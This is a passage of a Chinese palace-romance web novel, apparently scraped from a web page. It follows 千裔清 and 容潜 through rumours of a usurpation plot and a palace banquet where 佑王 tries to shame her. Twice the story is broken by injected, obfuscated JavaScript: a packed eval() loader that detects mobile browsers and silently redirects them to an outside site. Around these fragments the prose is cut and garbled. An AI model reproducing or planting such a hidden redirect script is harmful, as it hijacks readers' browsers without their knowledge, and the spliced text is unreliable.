“你遇见我的那天应该是我人生中气色最不好的时候。”千裔清失笑,看着这张与两年前没什么区别的面容,不知不觉放柔了语气,目光牢牢定在他身上。 “咳——”陆离小声提醒,“该回去了。” 谢子源看着两人,了然一笑:“原来千姑娘现在是崇安王的门客。” 千裔清对他门客的定论没做反驳,她觉得自己实在无需把她和容潜的关系解释的那么清楚刻意,仍是看着他目不转睛:“是啊,一别两年,还没来得及跟你道一声谢。” 谢子源颔首:“举手之劳。” 陆离总觉得现在气氛似乎有些怪异,却又说不上来是哪里怪异。直觉告诉他得说点什么,他沉吟:“对了谢门主,你怎么在这里?” 谢子源回头望了一眼紧闭的当铺大门,解释道:“赤羽阁已被剿灭半月有余,他们的情报网定点在这,我来清理干净。” 谢子源倒是很坦诚,全然没有隐瞒的打算,这么坦然倒显得陆离有点小家子气,刚才还怀疑人家动机不轨来着。 “听说谢门主近来因门派琐事烦扰,这种事怎么还亲自处理?”千裔清以为,他理应处在风口浪尖为不能服众而烦扰,如今看来倒是挺清闲。 谢子源顿了顿,想起什么似的点点头:“是崇安王告诉你的?”他仍是不做隐瞒道,“的确是有些小麻烦,但收尾之事也非小事,如今重云门可用之人不多,我来处理这些也无可厚非。” 千裔清总算明白谢子源为何不能服众,喻景淮那样的老狐狸莫说比较容潜,就算是跟容烨相比,那心思手段也是只多不少的。 反观谢子源,他掌权年纪虽不比喻景淮小,但为人还是显得正直了一些。这样的人或许值得敬重,却很难让暗派的人服众。见不得光的那些人还需更加黑暗的深渊来管理才行。 可惜师傅惹的麻烦要徒弟来收尾,那位喻门主如今却不知到哪里潇洒去了。 唉。 千裔清暗叹一声,抬头对着他道:“谢......门主,无论如何还是多谢你的救命之恩,昔日我说的话仍然作数,还请谢门主给我这个机会报答救命之恩。” 谢子源其实并不记得昔日她对自己说过什么话,好在她提醒了一句,想了想,他点头客套一句:“不必挂心,姑娘的话我记下了。” 不过,他想她是帮不上什么忙的。 从药铺出来时太阳已经下山了,暮色渐起,回去的路上人影也少了许多。 陆离提着买来的几味草药,还有方才在杂货铺挑选的一些用来装药的净瓶,他转头看了千裔清好几次,总觉得她有点心不在焉的。 是因为谢子源? 陆离皱眉,隐晦地提醒她:“殿下还在府里等咱们回去呢。” 千裔清神色恹恹:“嗯,这不是正在往回走吗?” 陆离脚下一滞,叫住前头自顾自走着的千裔清:“我说千姑娘,不过见了个谢子源而已用得着这么失魂落魄的吗?哦,即便你再舍不得他,咱们马上就要回府了,你这个样子被殿下看见他会不高兴的!” 失魂落魄? 千裔清转过身,一脸的迷茫:“你在说什么?” 陆离咬牙上前,在她面前站好,把自己的想法和盘托出:“怎么,我说错了?从见到谢子源开始你就一直盯着人家看,眼睛都不带眨一下的,你何时这般看过殿下?再有,方才他要走时你说的那是什么话?什么叫依然作数,听起来像是承诺似的,你何时这么柔声细语地对殿下这样过?” 看陆离这一脸不忿,感情他是给自己主子打抱不平来着。 千裔清承认自己是没这么对待过容潜,但这不怪她啊!容潜那样三两句就能点着的性子,换作谁都没办法温声细语好吧! 她无奈道:“我的确是在想事情,但不是因为谢子源。” 陆离一脸不信,撇着嘴问:“难不成还是因为殿下?” 还真是。 千裔清在想,陆离显然并不知道容潜去见谢子源的事,否则刚才也不会做出那样防备的举动,而谢子源看起来也并不知道自己在崇安王府的事,他的目光在她和陆离身上落了片刻才做出结论。 所以容潜那晚去见谢子源并没有提到她。 莫非那件事和她无关?不对,显然是有关系的。 容潜到底瞒了她什么! 不得不承认,一旦这件事和自己扯上了关系,再没有好奇心的人都会染上好奇心。 “你怎么又在发呆?”陆离颇为不悦地叹了一声,“千姑娘,我知道你不喜欢殿下,但殿下对你是真心的,你就算不喜欢也不要伤了他的心,哪怕像以前一样骗骗他呢?以前你不是最会演戏了吗!” 落到最后的话带了浓郁的嘲弄语气,千裔清知道他从前对自己的行径很是鄙夷,如今也是风顺轮流转,陆离竟然也求着她做戏了? 千裔清弯了弯唇角,不想跟他再费口舌:“我还当你转了性子,没想到说话还是这么不中听。也罢,信不信由你,实在不满就去找容潜告我的状好了。” 说不定还能借机问出些什么。 - 璟王府的马车还没离开,驾车的车夫自知要久等,也就不再推辞,一道进去跟着下人吃茶去了。 门前的下人比以往看起来要多,那些个平日在偏殿亭台洒扫的家仆竟都来了前院,看起来神色也不太好。 陆离随手拉着低头路过的长顺:“璟王还没走?” 长顺摇摇头:“他们在长贏阁议事,这都两个多时辰了。” 陆离颔首,又问:“那怎么都在门口待着,长贏阁那边没人伺候吗?” 不提这话还好,一提起来,长顺立刻愁眉苦脸的:“陆离大人您不在,咱们殿下跟璟王殿下吵起来了,吵得可厉害了,小的们也不敢近前啊!” 陆离惊讶道:“吵起来了?所为何事?” “这些咱们怎么敢听呀!”长顺向四面扫了一圈,最后掩着嘴小声嘀咕,“听宝林说,好像说了......篡位什么的!” 说完他又忙着找补:“啊!小的们也没听清,许是听错了也说不一定!” 听到这,千裔清才略显吃惊地扬眉。 篡位这词应该很难听岔吧。 陆离面色微沉:“我知道了,你先下去——哎,等等!这话不许再传了,若再有不相干的人谈起,我便拿他祭刀。” 长顺连连摆手:“不不不——陆离大人放心,这事儿只有我和宝林宝山知道,旁的人都没说的!小的这就去找他们,保证不乱说话!” 陆离“嗯”了一声,随手遣人下去。 千裔清偏头望了他一眼,声音不大不小落在他耳边:“看你的样子,这事许是有点苗头,不过容潜向来不喜欢参与政事,我猜......” “千千姑娘!”陆离沉言打断,微微一滞后,拉着她往人少的屋后走去。 千裔清任他拉着过去,好整以暇地看着他。 什么大事能让陆离也紧张到不顾礼节,他并非不怕容潜剁了他的手,只是眼下这事更令他担忧罢了。 只见陆离思量了片刻,弯腰行了一个颇为标准的大礼,惊得千裔清都向后退了一步。 “我说陆离,你突然这样我还真有点不习惯,有什么事直说就是。” 陆离抬头,神色是从未见过的严谨:“千千姑娘,我若说这件事是下人讹传您也定是不信的,您是聪明人,知道这种事情的严重性。” 千裔清揉了揉太阳穴:“所以你是希望我不要去问容潜?”她随意点头,“可以,我可以当做什么都没听到。” 陆离摇了摇头,认真道:“我知道您跟璟王妃关系甚好,陆离想请您不要告诉璟王妃。” 听到有关祝音,千裔清也收起那副懒散样子,转而正色:“这件事会连累到祝音?” 问出这话的瞬间她微微跺脚,是了,若真是璟王意图谋反,成也就罢了,若不成,定会连累到至亲! 如果是这样,理该告诉祝音让她去劝劝璟王啊? 陆离看了她一眼:“我知道您在想什么,不过......千姑娘若信得过我、信得过殿下,这件事请您当作毫不知情,属下可以保证您的担忧绝无可能发生!” 饶是陆离话说得再诚恳,千裔清还是无法放心,她冷眼瞧着陆离:“你保证?你凭什么保证?” 然而陆离几乎没做迟疑,再喂她吃下一颗定心丸:“陆离人微言轻,千千姑娘自是不信的。那好——我替殿下向您保证,以崇安王的名义,这样姑娘可信?” 若有人让千裔清说几条陆离最不敢做的事有什么,千裔清不用犹豫就能说出三条来:背叛、忤逆、冒用。 他敢这么言之凿凿的以容潜的名义向她保证这件事,定是容潜有着自己的计划去解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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房里的烛芯烧的只剩短短一截,容潜还没回来,千裔清破天荒的也觉得有点睡不着,想了想,她披上披风,自己提了灯往厨房去。 她常煮一些汤药,对于家常的饭食汤羹早已不擅长,唯一记得清楚的还是从小便喝的那碗桂花酸枣汤。 府上的桂花去年就存放着一直用的,别的倒没什么稀罕材料,再加上操作简单,很快就煮好了浓香的一罐,倒掉剩下的残渣,取了只海碗来刚好,只是有点烫了。 家仆说一会帮她送去房里,千裔清想着现在也喝不了,就答应了。 雪白的披风在夜色十分夺人眼球,加上她手中那只还算亮堂的挑灯,远远望去,如月下归人,分明是在夏日,却也别有一番意境。 千裔清有时候也在想,若无当年的事,她现在又会在哪里。是霜序居,亦或是离开这座皇城? 可惜一切都无法追溯,时过境迁,所有人都变了。 就连这座城也变了。 家仆的动作比她到房里只慢上一步,她尝了一口,觉得还是有些烫口,于是先推至一旁,翻出自己的药匣来,把那些破了口的罐子能换的尽数换了。 但凡做起这些事来免不了会沉浸一些,叮铃咣当的净瓶声音和桌面碰撞声混杂着,连带着外殿房门轻推的声音也被掩盖其中。 容潜缓缓靠近她身后,只见缩成一团趴在罗汉塌的小几上的人影娇小柔软,散落的青丝落在肩头、腰际,跟着她手上的动作一颤一颤的。 这副场景让他没由来咽了咽口水,心脏灼热的厉害,从胸口一直蔓延到手脚、脖颈,全身上下各个角落。 他觉得嗓子发紧,于是轻咳两声,终于引得面前背对他的小人儿注意到身后动静。 千裔清回过头,声音在夜色中清清凉凉的:“你回来啦?” 所有躁动不安的心绪被她这像是关心一般柔软的声音清扫的干干净净,容潜弯了弯唇角落座在她对面,目光放在眼前的瓶瓶罐罐上:“不睡觉又在做什么?” 千裔清头也不抬地答道:“睡不着,今天上街买了些东西,刚好整理一下。” 容潜的目光微微偏移,又落在一旁玉白小碗上,这味道他很熟悉,虽然已经许久没有喝过了。 “为什么睡不着?”莫非是在等他?容潜在心中猜测。 葱白的小指在桌面上一顿,千裔清垂着眼帘没说话。 容潜唇边笑意更浓,认准了千裔清是在等他。 千裔清抬头:“这么晚回来,吃东西了吗?” “还没有。”容潜眸光暗了暗,想起今天的事来,心绪又隐隐烦躁起来,“明日进宫还要早些做准备,早些睡吧。” 千裔清想了想,把小碗推到他面前:“喝了汤再睡吧。” 容潜挑了挑眉,掩饰不住语中的惊喜:“给我准备的?” 其实不是...... 但他人都坐这了,又说自己还没吃饭,当着他的面自己喝似乎不大好吧。 千裔清没回答他的问题,算是默认,只是又补充道:“助眠的。” 容潜颔首,手指在碗边摩挲着,温热的触感像是在证实他心中的猜测,他不觉又加深几分笑意,脸上的悦色看得千裔清一阵茫然。 一饮而尽以后,放下汤碗的手顿了顿,容潜想起自己还有东西没收拾干净,眸光在她白净的小脸上停了片刻:“你先睡,我去沐浴。” “这么晚了还要沐浴?”千裔清偏头瞧了一眼外头的天色,夜深人静,府上下人都休息了大半。 容潜理所当然地点头:“外面尘多,自然要沐浴。” 千裔清想了想,容潜好像特别爱干净,也特别不喜欢身上沾染旁的气息,只要从外头回来一定是要焚香沐浴的,也是自律的可怕。 “好。”她应了一声,把药箱收好。 床前的烛火又落了一截,千裔清看着他移到内室消失不见的背影,想了想,还是没把烛火熄灭,只把垂下的灯芯剪去,任由它继续晃着。 56. 赴宴 五月的雨来的最是突然,早起还晴空万里,下一刻便黑云压城。 房檐上挂着雨水,王府上下仍在有条不紊的行进,直到所有的东西都搬进宫里派来接人的车马,冬云和秋露一左一右,一人为皎月公主撑伞,一人为她提着裙边,直至她上了车,离开众人视线。 周公公对着崇安王行礼:“皇上还在等奴才回话,就不打扰崇安王殿下做准备了。” “有劳。”容潜负手点了点头,心情看起来不错。 公公哪里听过崇安王说这等话,颇有点受宠若惊的感觉,忙笑眯眯地接过话头:“王爷言重了!”他回头看了一眼安静的车马,转过来对着容潜压低声音道,“那个......王爷,皇上让奴才问您一句是不是真的考虑清楚了,若现在后悔封锁消息......还来得及。” 容潜似笑非笑道:“公公自小跟在皇兄身边,又岂会不知箭在弦上焉能不发的道理?皇兄这是怕本王食言才遣公公来问话吧?” 周公公自知被识破,既是意料之中也觉得有点不好意思:“是,王爷明白就好,那奴才就先回了。” 他走了两步又回头,望着这个也算是从小看着长大的孩子,冗长的叹了口气:“王爷......还请珍重。” 容潜面色一滞,颔首道:“有劳公公关挂心,本王明白。” 宝山在身边为容潜撑伞,虽是听不懂周公公那几句话的意思,但那些都不重要,至少送走了皎月公主,大家都觉得很痛快。 拐过园子边的小径就能瞧见他的卧房。 容潜缓缓掀起唇角,问道:“王妃收拾好了吗?” “王妃?”宝山一愣,下意识问出口的瞬间才发现自己说错了话,连忙接上,“噢噢,还在梳妆呢,殿下吩咐过要把最好的都用上,绛雪她们自然是不敢疏忽。” 千裔清却觉得别扭死了,这身华服里三层外三层的,单是珠珞环佩就戴了好几条,手腕上、耳朵上也是丝毫不肯放过,尤其是头上,太重了! 不知道的还以为她要出嫁! 是的,她没说错,但是珠宝首饰也就算了,容潜给她准备的衣裳偏偏还是红的。 依照常理,就连侧妃都是不能穿红的,她一个侍妾,这衣裳有点过分了吧? 正想着呢,容潜从外殿进来,余光里他一身玄色的修长身影踩着铺了方毯的地板,一步一步缓缓走进。 绛雪和绛珠连忙行礼:“殿下觉得姑娘这样打扮如何?” 她从未穿过红色,从前至多穿过几次浅粉,待这次回来整日都是一身素白。而这身红衣特别衬她,黛眉红唇,海棠鬓颊,美艳的不可方物。 容潜就这么看着,几乎听不到自己的呼吸声,只有愈渐加速的心跳告诉自己,他还活着。 直到千裔清没听到他的回答,狐疑地歪头看他,容潜这才微微一顿,轻声吐出两个字:“甚美。” 他暗笑自己像个没见过女人的登徒子,她明明一直都是这么美的。 千裔清不满地小声嘟囔,一边扶着头上的步摇金钗:“压得我脖子疼,能不能摘下些。还有这身衣服好像也不大合规矩,旁的王妃和夫人见了会不高兴吧。” 容潜俯身抬起她下巴细细打量,自动忽略掉她的后半句,衣裳是不可能换的,发饰倒是可以考虑换一换:“很重吗?” 千裔清狠狠点头,发饰上的流苏跟着缠上了发髻:“很重,很累。” 她的睫毛在眼前忽闪忽闪的,眼瞳中是容潜专注盯着她看的样子。 容潜“嗯”了一声:“那就重新梳吧,换你喜欢的。” 他的准备很充足,相信能选到她满意的。 千裔清舒了口气,想起时候已经不早了,迟疑道:“时间还够吗?” 容潜坐在一旁的桌边,端起茶杯抿了一口,随意说道:“无妨,让他们等着就好。” 千裔清:“......” 千裔清:“绛雪,只换发饰就好,不用重新梳了。” 容潜准备的东西自然都不是凡品,随便扫上一眼就知道价值不菲,千裔清只听说手边那串珠子就能换北街的两间酒楼,她不敢戴,故意避开选了几件看起来不太重的。 屋外的雨逐渐小些,细细碎碎,雾蒙蒙的。等一切规整完毕也的确到了该入宫的时间了。 马车起驶,身前的桌几果然换成小一圈的,甚至边角都磨成了圆角,看起来是不会伤人的模样。 千裔清偏头看着端坐的容潜,照旧是一身黑色,那张俊脸被衬的更加冷冽。 她主动打开话匣子:“昨天去街上时听到一些传闻,是关于皎月公主的......你做的?” 容潜“嗯”了一声,随意到让人会误以为做了什么好事,丝毫没有愧意。 坊间的传言并不好听,多是在说皎月公主被人退婚,还有什么夜南王族看不上绥夏人,自然还有更难听的,总之对于一个女子来说,可谓丢尽了脸面。 千裔清沉吟:“你这样做,就算她回到绥夏也再难抬起头了吧。” 容潜冷道:“她能不能抬得起头与我何干,我没把她剁碎了喂狗已经是给足你面子了,或者你希望我把她切成薄片泡酒再送还给绥夏?” 说完,他真的认真考虑起来:“宫宴还没开始,你现在改主意还来得及。” 千裔清觉得他做得出来,一时无话,只怕自己又给他提供了什么奇怪的思路。 马车行到一段颠簸小路,角落的红木盒子跟着一道晃,里头的东西撞着盒壁发出碰撞。 千裔清指着它问:“那是什么?” 容潜突然狡黠一笑,凑近她耳边道:“妆匣。” “带这个做什么?”千裔清有点发懵,低头看了一眼自己完整的盛装,回忆起来,面上也没落下什么步骤。 容潜拉着她的手放在掌心,话里带了些蛊惑的语气:“怕你怪我弄花了你的口脂香粉。” 这下她听懂了。 千裔清把手抽回缩在衣袖里,认真提前拒绝:“今天不行。” 容潜料到她会这样说,也不觉得有什么扫兴的:“哦?那哪天可以?” 他这般难缠的样子尤其让她觉得不舒服,忍不住蹙眉剜了他一眼,容潜提了提嘴角,知道她生气了,便没再纠结。 他再次把千裔清的手放在掌心握着,声音磁性温和:“进宫赴宴,你会不会紧张?” 千裔清默了默,老实说她没参加过这种场合,自然是紧张的,若她只是个寻常婢女跟着主人一同赴宴,旁人不会注意到她也就罢了。偏偏今天这场合她要坐在主角身边,还穿了身这么招摇的衣裳,想想都有点冒冷汗。 于是她老实回答:“有点紧张,总觉得王爷带侍妾赴宴不合规矩,旁的王爷大臣都会嘲笑你的。” 容潜垂眸拂了拂衣袖:“那又如何,反正他们只敢在心里笑,不敢在我面前吐露半个字。” “你真的毫不在意别人对你的看法?”千裔清忍不住好奇。 容潜笑道:“在意,但也不能太在意,若他们胆敢在我面前议论,杀了就是,若不敢就随他们去吧。” 说完,他还颇为得意的点点头:“总得给人留些发泄不满的空间对吧?” 你人还挺好的。 千裔清先是在心头嘲弄他一句,待沉静下来仔细一想,她发现容潜其实一直都是备受议论的那一个。 从孩童时期到如今,议论的风向虽是一直在变,但都不是什么好听的话。 如果容潜真对这些在意到极致、分毫必究的,那他岂不是早早气死了! 真不是他看得开,看不开又能如何呢? 容潜在她小指上勾着捏了两下:“想什么呢?是不是觉得我好可怜,心疼我了?” 千裔清道:“有一些吧。” 容潜像是松了口气一样叹道:“还好你说的是有一些,要是你眼泪汪汪的说心疼我,我可就忍不住了。” 千裔清疑惑地抬头,正对上他带着些许调笑的眸子近在迟迟,那句“忍不住什么”还未出口,就听到容潜盯着她红润的唇瓣一字一句:“差点就忍不住要亲你了。” 还好他忍住了,又不甘心似的伸出食指在她唇上轻点两下,生怕弄乱了她的妆容惹佳人生气。 做完这些,他又补了一句:“回去补偿我。” 千裔清掰着指头算过,自打书房那天后容潜的变化有哪些。 最明显的莫过于几乎不会对她冷语厉色,也少了许多阴阳怪气。 再有就是对她的照顾体贴入微,比绛雪她们还要细致。当然,有时候是细致的有些过分了。 大部分都是能让她觉得相处不再困难的转变,只有一点—— 容潜说话越发的不着调,时常弄的她不知道如何接下去,她原以为自己的脸皮够厚,没想到还有比她脸皮更厚的。 这些转变来的突然,千裔清至今也没明白其中出了什么差错。 - 华阳殿外。 还未走近大门就能瞧见殿里人影绰绰,想来这也是朝臣结交的好时候,大家自然不会放过这个机会。 千裔清跟在容潜身后暗自发誓,待会儿尽可能的做个透明人,实在不行就当自己是他身上的配饰,总之是个哑巴就对了。 随着传话的太监通传一声“崇安王到,两人还没进门,殿内众人不约而同静了一瞬。 他们不知道这场宫宴是由崇安王提议,只当他还是那个不爱参加宴会的闲散王爷,如今听到崇安王的名号皆是惊讶,有的已经伸着脖子朝外看。 很快,容潜攥着千裔清腕子的动作映入众人眼帘,议论声又开始此起彼伏。 千裔清竖着耳朵听了几句,左不过听说过她的议论崇安王此举不合规矩,而没听过的还以为崇安王什么时候新娶了王妃。 果然不出所料,还没落座她已经觉得烦闷至极。 坐在位置上,视线所及还有几个熟悉的身影,左手边是佑王和璟王及璟王妃,对面则是万楹公主,至于她身边的,千裔清没见过,想来是瑶华公主和驸马。 见她的目光看过来,万楹公主、刚扬手打了个招呼,身边的瑶华公主附耳说了什么她便放下了。 她身上并没带那颗荷珠。 千裔清倚着容潜悄声问:“怎么不见皎月公主和皇上?” 容潜想了想:“应该都在重明殿,毕竟此番是给她送行,有些话是不能点在台面上的。” “那你怎么不去,这种话不是该由你说吗?”千裔清挑眉,容烨那么在乎面子的人,能说得出那些不中听的话吗? “我在你眼里就是这种人?”容潜哭笑不得,颇有些宠溺道,“看来是我平日里说话还不够动听,没能让清清满意。” 话音刚落,一道丽影犹豫着步子走来,停在二人面前。 容潜原本含笑的面容立刻冷下:“你来做什么?” 千裔清横了她一眼,道:“祝......璟王妃。” 四下这么多的眼睛,差点说错了话。 祝音对容潜似乎天生带着畏惧,谁能想到两人曾经还差点有过一段婚约呢。 祝音避过他犀利的目光,看着千裔清:“许久未见,千千姐姐身体好些了吗?” 千裔清笑道:“怎么你也学会说这些面子话了,听起来还真别扭。” 祝音小心地左顾右盼,咬着唇说:“这里人太多了,总不能害玉衡哥哥丢了面子!” 也是,只瞧她们刚聊了两句,周围就有无数的眼睛盯着瞧着,几乎要在两人身上看出花来,千裔清沉吟片刻,转头问容潜:“我们能去外面叙一叙吗?” 他看这祝音就觉得不耐烦,千裔清总是把她看得最重,每每想起,他都觉得嫉妒的不行。 “不行就算了。”千裔清也能理解,毕竟这不是寻常场合,只是说话时难免带点失望。 容潜面色一滞,沉声道:“去吧,一柱香之内回来。” 同意了? 她惊讶而又喜:“好!” 佑王把这一幕看在眼里,直到千裔清同祝音一道出去了,思虑片刻斟一杯酒来到容烨面前,表情透着几分讨好与畏惧。 佑王举着酒杯:“听闻此次宴会是九弟提议?还是九弟思虑周全,把这等礼数都想的通透。” 容潜微微眯着眸子,想了想,露出一丝冷笑:“听闻?七皇兄是从何处听闻?” 佑王有意和他攀关系,却不知道自己的奉承早已被看透,实在是拙劣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15026748|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “咱们兄弟之间有什么好隐瞒的,九弟何必如此见外?” 容潜肯定道:“你偷听了我们的谈话?” “话不要说的如此难听嘛!”佑王尴尬的笑了笑,“只是路过时不小心听到那么一句,并非为兄有意!” “你想知道什么大可去问五皇兄,何须来我这自找没趣,你知道的,当年没动你并非我顾念兄弟之情,只是不到时候。你的九弟叫容怀瑕,我容潜——从来都是孤身一人。” 他说这些话的时候眼神凌厉的骇人,惊的佑王后背全是冷汗,连牙根都微微发颤,好不容易才强装镇定下来。 佑王挤出一个难看到极点的笑,英挺的面容都变得扭曲:“九弟倒是越来越喜欢开玩笑了。” 容潜笑了笑,自顾自饮下一杯:“好了,本王今日听的废话够多了,佑王殿下自便吧。” - 偏殿廊外。 众人都应邀去了华阳殿,殿外除了传菜侍候的宫女太监,只剩下一些恪守门前的仆从。 祝音带着千裔清没走多远就寻到一处无人之所,只一瞬,祝音立即卸下肩头的压力,从那个看似沉稳端庄的璟王妃重新回到那个相府的二小姐。 祝音拉着她左看右看,掩饰不住眼中的惊艳之色:“真是人靠衣装啊,上次见时还觉得你病怏怏的,今天险些没认出来呢!崇安王待你挺好的吧?” 最近在府里没出什么乱子,容潜甚至愿意放她出门逛街,再加上今日生活还算平静,晚上睡觉的时候他也没有动手动脚,像是在玩什么君子的角色扮演。 总结下来,千裔清点点头:“算是挺好的。你呢?你——” 话锋一顿,陆离的话仿佛又在耳畔回响,她微微拧眉,有些担忧地抬起眼睫看着祝音。 “嗯?我怎么了?”祝音也歪着头看她。 看她这副毫不知情的样子暂且还能快快乐乐的,若是知晓,难免沉不住气。眼下这种场合还是不说了吧。 千裔清笑了笑:“你看起来也挺好的。对了,朝中官员来了这么多,怎么没见到祝丞相和夫人?” 祝音“嗯”了一声,拖着长长的尾音:“母亲一直身体不太好,今日天气变得快,父亲也受了风寒,哥哥他们都在府上照料呢。对了,千——” 话音陡然一滞,祝音的目光落在千裔清身后,带着明显的厌烦和头疼,千裔清顺着她的目光看去,也开始觉得头疼。 这人怎么如此阴魂不散,莫不是故意跟着她们出来的吧? 佑王挂着虚伪的笑,佯装散步的样子缓缓移到两人跟前:“这么巧?” 祝音翻着白眼,嘴上嘟囔道:“有什么巧的,方才在殿上又不是没见过!” 佑王也不生气,只是眼神总有意无意扫过千裔清明艳的小脸,带着恋恋不舍的意味,看得千裔清十分不舒服。 大约这目光有些明目张胆了,祝音横在两人面前把他们隔开:“昭明哥哥,宴席还没开始就喝这么多酒,当心一会儿在席上发酒疯!” 佑王摆摆手,不在意道:“祝音丫头!这里是皇宫,这是你昭明哥哥从小生活的家,我在自己家里喝醉些怎么了?” 祝音仍护着千裔清不让佑王靠近:“喝醉些是没什么,可要是做了醉事可就不好了,莫说皇上怪罪,即便是崇安王......你也招架不了吧?” 最后一句话显然是威胁,千裔清不禁有些惊讶,看着面前这个仍会护在自己面前的小姑娘,动作和从前是那么像,不过现在有头脑了,不会横冲直撞,还学会打压人了。 佑王的气焰生生灭下几分,他本想转头就走,只是心中还有一口气咽不下,又回过身来,越过祝音看着千裔清:“千千姑娘,听说皇兄又往崇安王府送了几株雪莲,可有这事?” 怎么又提起雪莲? 千裔清听他说这两个词听的都有些烦了:“是送了一些,怎么了?” 佑王顿了顿:“可是本王送的那些不够诚意,千千姑娘看不上?” 千裔清摇头,冷不防又想起那颗荷珠的事。 要不还是说实话吧?总这么瞒着似乎也没什么道理,反正那皎月公主也要离开了。 想了想,千裔清坦诚道:“抱歉,那些雪莲原是送进府里的,不过被皎月公主毁了。” 佑王看起来并不吃惊,脸色却渐渐阴沉,像是一早料到一样:“既如此,上次为何不说实话?”他几乎是咬着牙根在说最后一句,“千千姑娘若实在看不上直说便可,何必推脱到旁人身上?” 千裔清挑眉:“佑王殿下何出此言,莫不是皎月公主对你这样说的?” 预想中的答案并没到来,佑王只是冷哼一声,拂袖而去。 见佑王如此态度,千裔清却突然好像想通了一些事,譬如佑王为何屡次三番提起雪莲,又那么恰好的给万楹献上荷珠。 皎月公主这些天安分的过于异常,她的性子并不是能安分下来的人,原来是在这里从中作梗,做些挑拨人的事。 可她想的也太简单了,调拨她和佑王有什么用,她们原本就是水火不容的关系啊! 待人走远,祝音拉着千裔清的袖子好奇道:“什么荷珠,什么雪莲?” 千裔清便把自己的猜想简单说了一番,祝音摸着下巴赞同:“她是不是觉得自己反正要离开了,所以想挑起皇族兄弟反目,火上浇油一番啊?” “越来越有长进了。”千裔清点了点她的额头,“方才还护我来着,小嘴儿越发利索了!” 祝音嘿嘿一笑:“我表现的不错吧?自从跟玉衡哥哥在一起,免不了受那些贵女的白眼和揶揄,若不长进一些怎么配得上玉衡哥哥呀!” 这是祝音第二次说这种话了,方才说怕给璟王丢脸,这会又觉得自己配不上他。这么卑微真挚的感情...... 千裔清犹豫着:“或许是他配不上你呢?” “不会的!”祝音笃定地开口,带着少女的娇羞和憧憬,“玉衡哥哥是天底下最好最好的人。” 祝音的眼眸亮的灼人,千裔清发觉每次她提起璟王的时候,眼神都是这般明亮含水,楚楚动人。 若有一天璟王真的谋反,这双眼睛又会是什么样的。、 千裔清不愿去想。 57. 下药 华阳殿里的议论声已然小了许多,众人各自携带家眷落座。 千裔清同祝音回来时正遇上出门去找她们的宫女,听到皇上已经到华阳殿了,皎月公主也已经出席,璟王叫她们快些回去。 两人弯腰从侧门绕进去,饶是小心翼翼还是被一些有心人瞧了几眼,但还好,大部分人的目光都集中在大殿中央的舞姬身上。 回到位置,千裔清下意识抬头看了一眼容烨的位置,他处于大殿正上,刚好和千裔清对上目光。只一眼,容烨扬唇一笑,看起来很是包容。 容潜给她夹菜,把鱼刺剔干净:“尝尝宫里御厨的手艺如何,若觉得好,我向皇兄讨来给你做菜。” 千裔清自然的尝了一口,给出点评:“不如咱们府上的。” “咱们”两个字听起来格外悦耳,容潜弯了笑眼:“那便不要。” 这场景落在旁人眼中眼珠子都要惊掉下来,他们何曾见过崇安王耐着性子讨人欢心,就连和颜悦色的模样也是极少见。 有些夫人则是艳羡,同时怒其不争瞪着自家老爷,而一些权臣则是惋惜,如此武将竟也会被儿女私情牵绊。 离得最近的是佑王,他原本就有点醉意,眼前的画面更是让他气红眼眶,捏着杯猛灌了几杯酒。 不过一个野种而已,凭什么容潜事事都要压他一头,凭什么他想要的总是争不过他! 想到这里,又灌了两杯。 描金嵌着玛瑙的酒壶已经空空如也,他遣走身边人去添酒,晃着只剩下半杯的酒盏微微后仰。 一曲结束,舞姬纷纷下场。 有人谄媚道:“听说是舞乐司特意选了十方的舞姬,皇上为咱们安排这等表演真是用心良苦啊!” 千裔清根本没看,也不知道是十方来的舞姬排练,听到这话才抬起眼皮扫了一眼。 嗯,看来十方并不各个都是美人儿。 佑王突然高声笑了几下:“依本王所见,皇兄还是不够慷慨啊!” 容烨被佑王的话吸引的转了目光:“哦?昭明这话是说朕私藏了什么不成?” “倒也并非如此。”佑王余光扫过身边的容潜,嘴边的弧度扬起,“听说几位皇兄曾在流月坊见过一舞,此舞名动夜南,就连九弟这等总是足不出户的也上赶着去了,可惜本王当时不在京,失了先机,皇兄,你说是不是很可惜啊?” 千裔清捏着汤匙的手陡然一顿,眉头拧成一团。 她知道佑王是个小肚鸡肠的,却没想到报复来的这样快,这是要当众让她出丑? 不对,他是想要容潜出丑。 若旁人都知晓崇安王整日带着的女人其实出身卑贱登不得大雅之堂,届时便会沦为全城权贵茶余饭后的笑柄。 容潜...... 千裔清默默看了身边男人一眼,他倒是没什么表情,支起下颌听着。 容烨微微抿唇,看起来也很为难。 璟王顿了顿,开口道:“七弟这是吃醉了酒,怎的还埋怨起兄长了?皇上,还是把七弟送去休息吧。” “也好。”容烨立即接上,“来人——” “欸!”佑王推开身边扶他的人,直起身子摇摇晃晃地凑近容潜,一只手按在他桌上,以一种居高临下的姿态笑着看他:“那位名唤清影的小娘子不就是九弟身边这位佳人吗?九弟向来大方,何不让你的侍妾舞一曲,也让为兄一饱眼福?” 容潜的手倏然攥紧,脸上现出几分厉色,同佑王对视着。 千裔清却只能看到众说纷谈的口一开一合,还有皎月公主嘴角那抹得逞的笑。 “原来只是个侍妾啊,还是青楼出身......啧啧啧!” “侍妾怎么能来这种场合呢!崇安王也太不把皇上放在眼里了!” ...... 僵持的动作维持了许久,容潜突然嗤笑一声:“本王的人岂能给你这种货色取乐,容泽,你不要命了?” “崇安王!你怎么能这样和你的皇兄说话!” “就是!佑王殿下比你年长,还有没有尊卑礼数了!” 